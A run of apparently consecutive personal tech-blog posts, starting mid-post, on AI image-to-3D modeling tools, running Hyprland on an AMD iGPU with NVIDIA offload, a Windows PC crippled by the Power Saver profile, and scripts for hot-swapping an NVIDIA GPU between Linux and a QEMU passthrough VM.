But on the commercial side, there are 3 tools worth signing up for:

• Hunyuan Global, by Tencent. There’s the Chinese platform - which is more complete - and the global English version which is more limited. With it you can create 3D models from images with exceptional quality.
• Hitem3D - competes with Hunyuan, also excellent for generating 3D models from images. Worth testing both because depending on the images you feed them, one may turn out better than the other.
• Yvo3D - one of the pricier ones, but specifically for generating high-quality textures, it seems to be the best by far.

There are plenty of other platforms and to stay current there’s the site Top3D.ai with a ranking of the best tools. Most of them usually have free plans, trials, or similar, so it’s worth testing as many as you can. The pricing isn’t “expensive” if you’re a professional using this for client work. It’s only expensive for guys like me, who use it as a hobby.

Some others worth testing are Hyper3D Rodin, Tripo AI, Prism, and SAM 3D. The YouTube channels I recommended have videos about them, so at least go watch those.

The Ace Up the Sleeve: Nano Banana

The big trick for any platform, open source or commercial, is starting with high-quality images. Images from Google Images, or your badly taken photos, will always result in bad 3D models.

To clean up images, the easiest way is to go to Google Nano Banana. It’s by far the best AI platform for editing and generating images.

As an example, I decided to start from an image my girlfriend commissioned from an artist on Fiverr that we turned into stickers for our arcade. This image:

The first thing I asked Nano Banana was to remove the background and isolate just the character. It’s the kind of thing that used to require Photoshop. Look how it turns out now:

(ignore that it’s mirrored, I was too lazy to grab the right image.)

Anyway, that’s still not enough to generate 3D. Specifically for generating character models, the ideal is to have images in “T-Pose”, meaning the person standing upright with arms spread out like Jesus. And having photos from exactly the front, back, left, and right.

And you can ask Nano Banana to do exactly that: “generate a front photo of this character in T-Pose, for 3D modeling” and it generates this:

Half the job is done at this step. Without this you can’t generate good models. Now just ask it to generate the other angles, like the back:

Same thing, images from the left angle, the right, and done. At least 4 consistent, coherent, clean images.

Hunyuan Global

Now comes the simple part. Just pick Hunyuan or Hitem3D. In this case, I picked Hunyuan:

Just pick the new 3.0 version model and generate with 1.5 million polygons (yes, it’s quite heavy, but you can just remesh afterwards) and optionally generate textures (knowing upfront that Hunyuan isn’t great with textures).

And look at the result. Perfect! As is, it’s already usable. Like I said, it’s not great with textures, but since my goal for this test was to print on my 3D printer, I didn’t worry about textures.

Opening it in Blender, I can apply a remesh modifier to lower the polygon resolution and convert everything into quads, and it ends up like this:

And right off the bat I tried to print it and out it came:

I was particularly impressed by the details: nothing crooked, nothing out of place, hands with 5 fingers, correct proportions, perfect face details, perfect hair.

Think about this: I went from nothing, to AI, to a physical 3D print!

And now that I have this model, I can send it to Adobe Mixamo, which is an online tool to reuse pre-made poses.

I can upload my model, calibrate the armature/skeleton, and put it in whatever pose I want. Here’s an example:

In Blender I can calibrate the weight of parts of the mesh and other details to improve the pose, but 80% of the work is already done automatically. With this I can do animations and much more.

So yes, 3D modeling is already a reality with AI. There are dozens of tools for different use cases and specialties, like texture generation, skeletons, animation.

The main thing: start with a good foundation using Nano Banana like I said, that’s the main trick to make everything else work properly. And keep an eye on Tencent: Hunyuan is the most interesting model.

On the open source side there’s small Hunyuan to run locally and now Trellis2. Also keep an eye on new workflows that use both together in ComfyUI.

On my end, for doing simple things I want to 3D print on my Bambulab X1C, this is already more than excellent!

Hyprland doesn’t play nice with NVIDIA

You can use it. But there are several little problems, particularly with Hyprlock, and particularly with DPMS where I leave my computer idle, it locks itself, and after a timeout turns off the monitors to save power, avoid burn-in, etc.

When I try to wake it from sleep, Hyprlock crashed and I have to jump to another TTY to restart it. I even wrote a ~/.local/bin/hypr_unlock.sh script like this:

hyprctl --instance 0 'keyword misc:allow_session_lock_restore 1'
hyprctl --instance 0 'dispatch exec hyprlock'

But then I unlock and see that my Brave crashed too. NVIDIA really doesn’t like the monitor being turned off while it’s active. People said this happened in Hyprlock 0.9.1, but I’m already on 0.9.2 and it still crashes. I tried enabling services like nvidia-suspend/resume/hibernate, but nothing worked either.

At the end of the day I decided it’s not worth fighting with this: I have an AMD 7850X3D, and this CPU has an iGPU (integrated GPU), an AMD Raphael, which for things like rendering a window manager is more than powerful enough.

First, detect the GPUs:

❯ ls /dev/dri/by-path
Permissions Size User Date Modified Name
lrwxrwxrwx     - root 21 Jan 15:22   pci-0000:01:00.0-card -> ../card1
lrwxrwxrwx     - root 21 Jan 15:22   pci-0000:01:00.0-render -> ../renderD128
lrwxrwxrwx     - root 21 Jan 15:22   pci-0000:1a:00.0-card -> ../card2
lrwxrwxrwx     - root 21 Jan 15:22   pci-0000:1a:00.0-render -> ../renderD129

To find out which is AMD and which is NVIDIA, just run:

❯ lspci | grep -i vga
01:00.0 VGA compatible controller: NVIDIA Corporation GB202 [GeForce RTX 5090] (rev a1)
1a:00.0 VGA compatible controller: Advanced Micro Devices, Inc. [AMD/ATI] Raphael (rev c9)

Done. From the PCI ID we know card1 is NVIDIA and card2 is AMD. Now I need to configure my ~/.config/hypr/hyprland.conf:

....
# NVIDIA environment variables
env = NVD_BACKEND,direct
#env = LIBVA_DRIVER_NAME,nvidia
env = LIBVA_DRIVER_NAME,radeonsi
#env = __GLX_VENDOR_LIBRARY_NAME,nvidia

# Comment these out when using AMD as primary
#env = __NV_PRIME_RENDER_OFFLOAD,1
#env = __VK_LAYER_NV_optimus,NVIDIA_only

# card1=nvidia, card2=amdgpu (verify with: cat /sys/class/drm/card*/device/uevent)
# AMD first for iGPU primary:
env = AQ_DRM_DEVICES,/dev/dri/card2:/dev/dri/card1

env = ELECTRON_OZONE_PLATFORM_HINT,auto

I left the NVIDIA-specific settings commented out; none of them can be active. But the most important line is AQ_DRM_DEVICES, which lists the order for Hyprland to pick the GPU. Card2/AMD has to come first. Done, just reboot and move the HDMI cables to the iGPU output.

With that, I can now choose to offload only some apps to the NVIDIA using Prime. For that, I first created the script ~/.local/bin/nvidia-load.sh:

#!/bin/bash
__NV_PRIME_RENDER_OFFLOAD=1 __VK_LAYER_NV_optimus=NVIDIA_only __GLX_VENDOR_LIBRARY_NAME=nvidia "$@"

Finally, I configured some bindings in ~/.config/hypr/bindings.conf:

...
bindd = SUPER SHIFT, B, Blender, exec, ~/.local/bin/nvidia-load.sh blender
bindd = SUPER SHIFT, L, Bambu Studio, exec, ~/.local/bin/nvidia-load.sh bambu-studio
bindd = SUPER SHIFT, P, Blender, exec, ~/.local/bin/nvidia-load.sh plasticity
...

This way, only Blender, Plasticity, and Bambu Studio, which primarily use the NVIDIA to render 3D in real time. All the other apps open on the AMD iGPU.

AI tools like ComfyUI, Ollama, or LM Studio automatically recognize the NVIDIA and pick it. And with that I also have more free VRAM to load LLMs.

If you’re going to use XLibre/X.org, you can stay on NVIDIA just fine. But if you’re going to use Wayland, NVIDIA still isn’t fully stable, particularly with Hyprland. It’s less of a headache to drop in a second AMD GPU just for this.

Now sit down, here comes the story.

I built a pretty decent PC for my girlfriend: Intel i7 12th Gen 8 cores, 32GB DDR4-2400, NVIDIA RTX 3090, MSI Edge z790 motherboard, NVME and I even hooked up a Synology DS1621+ NAS on a 2.5Gbps network - because she’s a content creator and has A LOT of video to edit. Modesty aside, it turned out pretty nice:

Everything worked very well for a long time, but eventually, for no apparent reason, everything started feeling kind of slow. Not completely slow, but sometimes web pages seemed to stutter while loading. I’d click on the Windows Start menu and it seemed to freeze up. Sometimes Explorer would hang and I’d need to go to Task Manager and restart the process manually. Several super inconvenient things but none of them throwing any explicit “error”. It just felt “weird”.

I’m a Linux user. My main PC is Manjaro Linux. I only use Windows on my gaming mini-PCs, exclusively to run Steam and some emulators. I avoid installing anything on them at all costs. Because I know how much of a pain it is to diagnose Windows after some weird program invades it.

I went after the usual suspects. She had installed games for streaming, like Valorant, Genshin Impact and stuff like that. I always suspect anti-cheats, the crap from Riot Vanguard or Easy or VAC. I started by uninstalling all the games. But I always think anti-cheat is like malware: once installed, it will never leave the system. I uninstalled everything, but that feeling of kind of freezing, kind of slow, intermittent, remained.

I tried the next suspects: peripheral software, like Elgato, Logitech, Razer stuff that install a bunch of garbage on your machines, and recently I was reading about the malware that was shipping with all of them. Watch this GamersNexus video to understand the house of cards that the whole peripheral industry with RGB has become:

Even uninstalling all of them, still the same behavior: kind of slow, kind of freezing, unstable.

Let’s try to go deeper, and for that you have to install tools like Sysinternals Autoruns to see if there’s anything starting up (things hidden in the Registry for example). I tried to disable everything I thought was suspicious.

Nothing. By that point I had also made sure that the newest MSI BIOS firmware was installed. I checked that nothing had been turned off in the BIOS, XMP profile was ok, no fast-boot and stuff like that.

Is It the Internet?

Since most of the usage is internet and it seemed “slow”, I thought it might be network problems. Vivo’s router? The plan? Wifi with interference?

Running out of patience I decided to go nuclear on the internet idea. In fact, opening the Cloudflare Speed Test page I could see that the speed itself was ok, but the latency was VERY high, jitter high and, mainly, PACKET LOSS was over 15%. That’s not normal, it has to be 0%.

Taking advantage of a trip to Miami I brought back a TP-LINK BE9300 router for Wi-fi 7, and I also bought a compatible Wi-fi 7 PCIe card. I turned off Vivo’s Wi-fi router and bumped the plan up to 800Mbps. And indeed, the internet improved a lot:

Latency dropped, jitter dropped, packet loss went to 0%.

But this didn’t fix the problem. Out of nowhere the browser would pause when loading some page. That feeling of kind of slow, kind of freezing. And yes, I tried switching from Edge to Chrome, to Firefox, to everything. Nothing made any difference. The internet really did get faster, but Windows itself didn’t seem to improve much and while browsing, it was getting slower and slower. So the problem wasn’t the internet.

I was running out of options. Everything that could be manually cleaned in Windows, I cleaned. There was almost nothing left to delete - and I delete things without mercy. But I always had it in my head that it was some malware, something that loads before boot, some “ROOTKIT”. Anti-cheats are Rootkits by definition. They load even before the kernel and from that point on, the compromised system can no longer be trusted, because no tool will be able to find it.

Assuming at that point it had to be a compromised system, I decided to go with the nuclear option: reinstall everything from scratch. We backed up the data and off I went to reinstall from scratch.

Reinstalling DID NOT WORK

Now it got worse.

With Windows 11 Pro, freshly installed, guaranteed with no third-party software installed, it still had the same behavior of kind of slow, kind of freezing. The start menu wouldn’t let me click on anything. I had to open task manager and kill Explorer manually to get it to work again.

I spent some time staring at Task Manager, but there wasn’t any process running that I could suspect further: it was bare-bones Windows. I had even run a Debloater to uninstall unnecessary Microsoft apps like Teams.

But lo and behold, from staring at task manager so much, I saw that I had been ignoring an important piece of data. See if you can spot it:

The image is kind of messed up because I took a photo of the monitor with my phone. The refresh rate clashes with the camera’s and you get this “grid”, but I think you can still read it.

Even when you have almost no program running, it’s not natural for the CPU to be at such a low clock, 0.50Ghz - HALF A GIGAHERTZ. This Intel i7 can go above 4Ghz and the base clock is 2Ghz.

I opened browsers, opened tabs, kept monitoring, and it never went above 1.5Ghz. An occasional spike to 2Ghz for 1 second and then it dropped below 1Ghz again. Then I thought: could the AIO be failing??

Looking at Event Viewer you could see when the Start menu (which is part of Explorer.exe) stopped working and froze: it logs it as “Hanging Events” code 1002.

See all those Errors? All Hanging Events, and “hanging” is exactly the behavior: something seems to “hold”, “freeze” and only by killing the process does it come back to working.

And this was happening before and also AFTER reinstalling everything from scratch. Something seemed fundamentally wrong with the hardware itself. With the super low clock, this behavior starts to make sense: it’s so slow it can’t even process basic things. Click several times on the Start Menu (which will be digging through recent documents, updating the list of applications, opening the search bar, etc) and there’s no clock to process all that while there’s still Windows Defender in background, browser tabs processing.

Could It Be Thermal Throttle??

Since Windows was wiped clean, it can’t be anti-cheat anymore, it can’t be some weird anti-virus, it can’t be malware, it’s not the internet, it had to be something EXTERNAL, that was what made sense.

I opened the PC and left it open so I could feel if the heatsink was getting absurdly hot. If it was, it would mean my AIO (Coolermaster Watercooler) had started to fail.

It’s normal for the CPU, when it overheats, to drop the clock to avoid burning the chip. This is called “THERMAL THROTTLING”.

And again, weird: it was COLD to the touch!!!

No way. I opened the BIOS to re-check fan profiles, but everything was normal:

That’s when it finally hit me:

**LET ME CHECK THE POWER SETTINGS**

On a normal PC/laptop, it should show something like this:

By default, Windows always boots in “Balanced Mode”.

But on my girlfriend’s PC, I have no idea why, there was no Power Mode option!!! And I’m on a Windows 11 Pro with a paid license!!

That’s weird, but I know that in the old Control Panel, there’s a Power Options entry:

AND THERE’S THE PROBLEM:

It was on “Power saver”!!!

How did that happen? I have absolutely no idea. REMEMBER: I had reinstalled Windows from scratch. This is right after reinstalling!!

On a laptop this profile makes sense, to save battery when you don’t have an outlet. But on a desktop PC, which is my case, it makes no sense at all!! I switched to “Ultimate Performance” and look at the task manager now:

NOW WE’RE TALKING!! Above 4Ghz!!!

The NORMAL range for this CPU is around 4Ghz, with Turbo Boost of 5Ghz. But in Power saver mode, it NEVER goes above 2Ghz and idles at 500Mhz. In other words, everything was TEN TIMES SLOWER, sometimes it tried to boost and was still FIVE TO TWO TIMES SLOWER. And it’s intermittent!!!

Testing installing apps, browsing, etc, everything is now working normally, no freezing, no feeling of slowness. Start menu doesn’t hang anymore - because now there’s enough CPU to process the crap it needs in background.

Conclusion

CHECK POWER OPTIONS IN CONTROL PANEL!!!!

Again: I had JUST REINSTALLED WINDOWS. It was wiped clean and, by default, it came up in Power Saver mode.

I have no idea why it did that, I don’t know if it always does that, I don’t know if it failed to recognize the MSI motherboard, I don’t know what combination of hardware factors can make Windows fall back to this.

But it’s ALARMING that it does this without warning. There’s no error message. There’s no notification. It doesn’t show up in Event Viewer. In other words, even a Power User like myself has to randomly suspect “hmm, let me check the power profile”.

Lots of people with Windows must be feeling this slowness and freezing and thinking “hmm, my PC is just crap, I need to save up to buy another one”, without knowing that maybe it’s just crippled by this power profile and in reality their PC is 2x to 5x, even 10x faster and they don’t know it! That’s not a small difference!

POWER SAVER MODE is a huge piece of garbage, it has no practical use and it shouldn’t even exist. It’s one of those legacy things that give Windows a terrible experience - because it doesn’t warn you.

Remember those 1002 hanging events error codes? If you go searching on Google, every forum will tell you to run diagnostic programs, uninstall stuff, or reinstall Windows. None of them mention anything about the power profile.

I hope this helps someone else!

In February 2023 I made a long video about how I configured Windows to run emulated in a QEMU/Libvirt VM, managing to pass my second GPU, an RTX 4090, into the VM, making it possible to run heavy games even while emulating Windows. If you haven’t watched it, it’s at this link.

In short, I have a beefy machine, a Ryzen 9 7950X3D with 96GB of RAM. This CPU has an iGPU, a weak integrated AMD GPU. Weak but more than enough to run GNOME on two monitors, with HDR support and at 4K without any stutter. For day-to-day use, which is mostly opening a browser, it’s more than enough.

This GPU loads on Linux with the driver that ships in the kernel, amdgpu, and is mounted as /dev/dri/card1. Then I added a 2nd GPU, the beefy RTX 4090 with 24GB of GDDR6X VRAM. Not enough to run the heaviest LLMs, but it can run enough. I bought it primarily for games, but I end up using it for AI and 3D rendering as well.

Now the concept is simple: at boot, Linux needs to ignore this card and not load the NVIDIA drivers. If it does that, I can’t later pass it into the Windows VM. I used to edit my channel’s videos in DaVinci Resolve, which used plugins that only work on Windows; that was one of the reasons at the time. Resolve itself works on Linux too, but many plugins don’t. I also preferred using Photoshop, which is also Windows-only.

For this we configure Linux to load a fake driver, called vfio-pci, in place of the NVIDIA driver (or the open source alternative, Nouveau). In the other article I explain in more detail, but it’s a huge pain to configure this by hand. I don’t know if it still works, but at the time I also used a script that automates this, GPU-Passthrough-Manager. It configures everything to prevent the NVIDIA drivers from loading and switches to vfio-pci correctly. I think it also works on Optimus laptops, when you have a weaker iGPU (to save battery) and a separate discrete GPU, but I haven’t tested that in years so don’t ask me, ask ChatGPT.

Since 2023 this has worked great. I have a script called nvidia-locker that’s in the other article. If I want to run LLMs or Blender on my native Linux, I run that script and it removes vfio-pci and puts the NVIDIA driver back in real time, without rebooting. Then when I’m done and need to boot into Windows, I run the script again and it unloads the driver in real time too, allowing it to be passed via PCI Passthrough to the QEMU VM. All neat and tidy.

That is, until a few months ago, when Arch and Manjaro updated to swap out the old legacy Xorg for Wayland. These days Wayland is much more stable, its portals work properly and I can use webcam, microphone, tablet and everything else without any problem. Everything works and, theoretically, Wayland is supposed to be better. The new GNOME 48 also turned out really good, with HDR support and all. Anyway, everything’s pretty slick, I recommend it.

Except for the GNOME/Wayland combo with an NVIDIA GPU specifically in this PCI Passthrough to VM scenario. In short: boot still works normally, vfio-pci loads and hides the NVIDIA GPU. My nvidia-locker script also manages to hot-reload the NVIDIA driver. The problem is when I try to unload the driver to open the VM: GNOME won’t let me.

Wayland is super aggressive and as soon as it detects that a new GPU has appeared, it loads the gnome-shell process onto that GPU. And since there’s a process attached, there’s no way to remove the driver hot anymore. Only by rebooting, and that’s a pain.

There’s no easy solution. I tried dozens of different things like permissions, UDEV rules, SystemD services, kernel options, but nothing prevents the damn gnome-shell or gjs (Flatpak portal) processes from latching onto the GPU.

There’s only one way, kind of a hack:

• first, configure GDM (which loads GNOME and is the parent process) to not auto-restart automatically if it dies
• second, switch to another TTY (Ctrl+Alt+F3, for example), kill GDM from there and only then unload the NVIDIA driver.
• third, when the driver is swapped for vfio-pci, now the GPU is off and you can restart GDM and log back in. Just a pain that the open graphical apps will die, but it’s faster than a full PC reboot.

1 - disable GDM auto-restart

# Disable GDM auto-restart
sudo mkdir -p /etc/systemd/system/gdm.service.d
sudo tee /etc/systemd/system/gdm.service.d/10-no-restart.conf <<EOF
[Service]
Restart=no
EOF

# Update systemd
sudo systemctl daemon-reload

This config prevents GDM from auto-restarting. Now I can kill it. Without doing this, if I kill GDM, it reopens too fast and there’s no time to remove the NVIDIA driver before that.

2 - Trying to keep Wayland from grabbing the GPU

The GPU-Passthrough-Manager script theoretically already does this, but to be safe it’s good to have the following:

First, in /etc/modprobe.d/blacklist-nvidia.conf:

blacklist nvidia
blacklist nvidia_drm
blacklist nvidia_uvm
blacklist nvidia_peer_mem
blacklist nvidia_modeset
blacklist nvidia-nvlink
blacklist xhci_pci
blacklist ucsi_ccg
options nvidia NVreg_EnableGpuFirmware=0

Second, in /etc/modprobe.d/nvidia.conf:

options nvidia_drm modeset=0
options nvidia NVreg_InitializeSystemMemoryAllocations=0

The modeset option is to try to keep nvidia_drm from latching onto the GPU, but this didn’t work either. It’s optional, I don’t know if there’s a problem leaving it or removing it back to modeset=1. I think this matters more if you use the Nvidia GPU as the primary GPU where your graphical interface actually runs, especially to support Wayland correctly.

The other attempt is with UDEV rules in /etc/udev/rules.d/80-nvidia-composite.rules:

# Unified NVIDIA/AMD GPU management
ACTION=="add", SUBSYSTEM=="drm", KERNEL=="card*", ATTRS{vendor}=="0x10de", \
    RUN+="/bin/sh -c 'chmod 000 /dev/dri/%k; echo GNOME_MUTTER_IGNORE_DEVICE=1 >> /etc/environment'"

ACTION=="add", SUBSYSTEM=="drm", KERNEL=="card*", ATTRS{vendor}=="0x1002", \
    RUN+="/bin/sh -c 'chmod 660 /dev/dri/%k; chown root:video /dev/dri/%k'"

# New critical addition:
ACTION=="add", SUBSYSTEM=="pci", ATTR{vendor}=="0x10de", ATTR{class}=="0x030000", ATTR{enable}="0"

The idea is to try to change the chmod attributes to 000, but that didn’t work either.

The last attempt was trying a Systemd service in /etc/systemd/system/nvidia-lock.service:

[Unit]
Description=Hardened NVIDIA Lock
Before=display-manager.service
Conflicts=multi-user.target

[Service]
Type=oneshot
# Merge of both prepare scripts
ExecStart=/bin/sh -c 'echo 0 > /sys/class/vtconsole/vtcon0/bind'
ExecStart=/bin/sh -c 'echo 0 > /sys/class/vtconsole/vtcon1/bind'
ExecStart=/bin/sh -c 'chmod 000 /dev/dri/card0'
ExecStart=/bin/sh -c 'for card in /dev/dri/card*; do [ "$(cat /sys/class/drm/${card##*/}/device/vendor)" == "0x10de" ] && chmod 000 "$card"; done'

[Install]
WantedBy=graphical.target

Same idea of trying to block Wayland via tighter permissions, but it didn’t work either. I think there’s no harm in leaving this running but you can skip to the next section.

3. What worked

After much testing, I now have two scripts (just to keep it less spaghetti). Here’s the nvidia-unlock script that unloads the NVIDIA driver and has to be run from a different TTY than the one running GDM:

#!/bin/bash
# /usr/local/bin/nvidia-unlock - Improved version with session handling

# Store current TTY
CURRENT_TTY=$(tty | sed 's/\/dev\/tty//')
IS_GDM_RUNNING=$(systemctl is-active gdm)

# 1. Stop GDM gracefully
if [ "$IS_GDM_RUNNING" = "active" ]; then
  echo "Stopping GDM..."
  sudo systemctl stop gdm
fi

# 2. Kill all graphical processes
echo "Terminating graphical sessions..."
sudo pkill -9 -f "gnome-shell|gjs|Xwayland"
sleep 1

# 3. Nuclear GPU unbind
echo "Removing PCI devices..."
echo "1" | sudo tee /sys/bus/pci/devices/0000:01:00.0/remove >/dev/null
echo "1" | sudo tee /sys/bus/pci/devices/0000:01:00.1/remove >/dev/null
sleep 1

# 4. Purge drivers
echo "Unloading NVIDIA modules..."
sudo rmmod nvidia_drm nvidia_modeset nvidia_uvm nvidia 2>/dev/null

# 5. Rescan PCI
echo "Rescanning PCI bus..."
echo "1" | sudo tee /sys/bus/pci/rescan >/dev/null
sleep 1

# 6. Restore GDM if it was running
if [ "$IS_GDM_RUNNING" = "active" ]; then
  echo "Restarting GDM..."
  sudo systemctl start gdm

  # Return to original TTY
  sleep 3 # Wait for GDM to initialize
  sudo chvt $CURRENT_TTY
fi

# 7. Final verification
if ! lsmod | grep -q nvidia; then
  echo "✅ NVIDIA GPU successfully unlocked"
else
  echo "❌ Failed to fully unlock GPU"
  exit 1
fi

This script kills everything under GDM, GNOME Shell, the open graphical programs, everything, so don’t leave your Libreoffice open without saving if you run this, it will kill it all. That’s why you have to do Ctrl+Alt+F3 and run it from a separate terminal.

And now, here’s my new nvidia-locker:

#!/bin/bash
# nvidia-locker - Final working version with proper TTY handling

# Get the directory where this script lives
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"

# Configuration
NVIDIA_GPU="0000:01:00.0"
NVIDIA_AUDIO="0000:01:00.1"
PCI_PATH="/sys/bus/pci/devices"
DRM_PATH="/dev/dri"
UNLOCK_SCRIPT="${SCRIPT_DIR}/nvidia-unlock" # Look in same directory

#  Core Functions 

get_driver() {
  local device="$1"
  if [ -d "$PCI_PATH/$device/driver" ]; then
    basename $(readlink "$PCI_PATH/$device/driver") 2>/dev/null || echo "none"
  else
    echo "none"
  fi
}

is_gui_session() {
  # Returns true if running in a graphical session
  [ -n "$DISPLAY" ] || [ -n "$WAYLAND_DISPLAY" ]
}

print_status() {
  echo -e "\nCurrent GPU Status:"
  lspci -nnk -d 10de:2684
  lspci -nnk -d 10de:22ba
  echo
}

load_vfio() {
  echo "🔒 Binding to vfio-pci..."
  echo "vfio-pci" | sudo tee "$PCI_PATH/$NVIDIA_GPU/driver_override" >/dev/null
  echo "vfio-pci" | sudo tee "$PCI_PATH/$NVIDIA_AUDIO/driver_override" >/dev/null
  echo "$NVIDIA_GPU" | sudo tee /sys/bus/pci/drivers/vfio-pci/bind >/dev/null
  echo "$NVIDIA_AUDIO" | sudo tee /sys/bus/pci/drivers/vfio-pci/bind >/dev/null
}

load_nvidia_headless() {
  echo "🔓 Loading NVIDIA in headless mode..."

  # Clear any existing overrides
  echo "" | sudo tee "$PCI_PATH/$NVIDIA_GPU/driver_override" >/dev/null
  echo "" | sudo tee "$PCI_PATH/$NVIDIA_AUDIO/driver_override" >/dev/null

  # Load modules with headless options
  sudo modprobe nvidia NVreg_InitializeSystemMemoryAllocations=0
  sudo modprobe nvidia_modeset
  sudo modprobe nvidia_uvm
  sudo modprobe nvidia_drm modeset=0

  # Bind devices
  echo "$NVIDIA_GPU" | sudo tee /sys/bus/pci/drivers/nvidia/bind >/dev/null
  echo "$NVIDIA_AUDIO" | sudo tee /sys/bus/pci/drivers/nvidia/bind >/dev/null

  # Lock DRM nodes
  sudo chmod 000 "$DRM_PATH/card0" 2>/dev/null # NVIDIA
  sudo chmod 660 "$DRM_PATH/card1" 2>/dev/null # AMD
}

#  Command Handlers 

vm_mode() {
  current_driver=$(get_driver "$NVIDIA_GPU")

  if [[ "$current_driver" == "nvidia" ]]; then
    if is_gui_session; then
      echo "⚠️  Please switch to TTY (Ctrl+Alt+F2) and run:"
      echo "   sudo systemctl stop gdm && sudo nvidia-unlock"
    else
      echo "⚠️  Already in TTY - running nvidia-unlock..."
      if [ -x "$UNLOCK_SCRIPT" ]; then
        sudo "$UNLOCK_SCRIPT"
      else
        echo "❌ Error: nvidia-unlock not found at ${UNLOCK_SCRIPT}"
        echo "ℹ️  Make sure both scripts are in the same directory"
        exit 1
      fi
    fi
    exit 1
  fi

  load_vfio
  print_status
}

host_mode() {
  current_driver=$(get_driver "$NVIDIA_GPU")
  if [[ "$current_driver" == "vfio-pci" ]]; then
    echo "🔄 Releasing vfio-pci binding..."
    echo "$NVIDIA_GPU" | sudo tee /sys/bus/pci/drivers/vfio-pci/unbind >/dev/null
    echo "$NVIDIA_AUDIO" | sudo tee /sys/bus/pci/drivers/vfio-pci/unbind >/dev/null
  fi

  load_nvidia_headless
  echo && nvidia-smi
  print_status
}

#  Main 

case "$1" in
on) vm_mode ;;
off) host_mode ;;
status) print_status ;;
*)
  echo "Usage: $0 [on|off|status]"
  echo "  on     - Prepare GPU for VM (may require nvidia-unlock)"
  echo "  off    - Enable NVIDIA for host (headless mode)"
  echo "  status - Show current GPU status"
  exit 1
  ;;
esac